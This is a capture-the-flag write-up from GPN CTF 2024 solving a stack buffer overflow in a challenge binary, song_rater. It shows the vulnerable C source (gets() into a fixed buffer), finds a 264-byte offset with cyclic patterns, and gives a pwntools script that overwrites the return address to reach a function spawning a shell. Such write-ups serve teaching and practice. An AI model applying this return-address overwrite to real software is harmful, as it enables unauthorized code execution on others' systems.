Never gonna give you UB Writeup
Gpnctf 2024
Solved by : iamavu
We are given a file called song_rater
amongst other files (Dockerfile and such) with the following security mitigations.
as there is no PIE, this should be easily solvable as there won’t be random address loading for binary everytime we run the binary, yay! When we run the binary we get the following
So it just prints whatever input we get.
We are also given the C code for the binary, making our job much easier.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// win or flag function which we have to execute somehow for us getting the shell
void scratched_record() {
printf("Oh no, your record seems scratched :(\n");
printf("Here's a shell, maybe you can fix it:\n");
execve("/bin/sh", NULL, NULL);
}
extern char *gets(char *s);
//main function which asks for input without checking input size (gets is security flaw here)
int main() {
printf("Song rater v0.1\n");
char buf[0xff];
printf("Please enter your song:\n");
gets(buf);
printf("\"%s\" is an excellent choice!\n", buf);
return 0;
}
I have added comments where necessary, now lets have a look at binary in GDB to find the address of RIP
so we can put the address of scratched_record
there and get our flag.
We observe that the address of scratched_record
is 0x0000000000401196
, so we need to somehow put that address in RIP
instruction pointer.
Let’s buffer overflow!!
We will get big buffer of 300 bytes and see how the program behaves and see which byte ends up in RBP
.
We did pwn cyclic 300
to get 300 bytes which have certain pattern, and now we will send this as input to program and make it crash.
Why 300? well 0xff
in decimal is 255
so 300 sound pretty good to me.
After crashing the program we see that the byte haaaaaab
gets into RBP, let’s see how much bytes that is by doing cyclic -l haaaaaab
We found the offset at 256, now we need to add 8 into that so we get the offset where RIP
is!
and that is 264
. yay!
Let’s write a simple pwntools script to exploit this now
from pwn import *
win = p64(0x0000000000401196)
overwrite = b"A"*264
payload = overwrite + win
p = process("./song_rater")
p.sendline(payload)
p.interactive()
We simply pack the address of scatched_record
in win
variable and overwrite 264
bytes and then send that payload to the program and then get an interactive shell!
Let’s run this
we got the shell!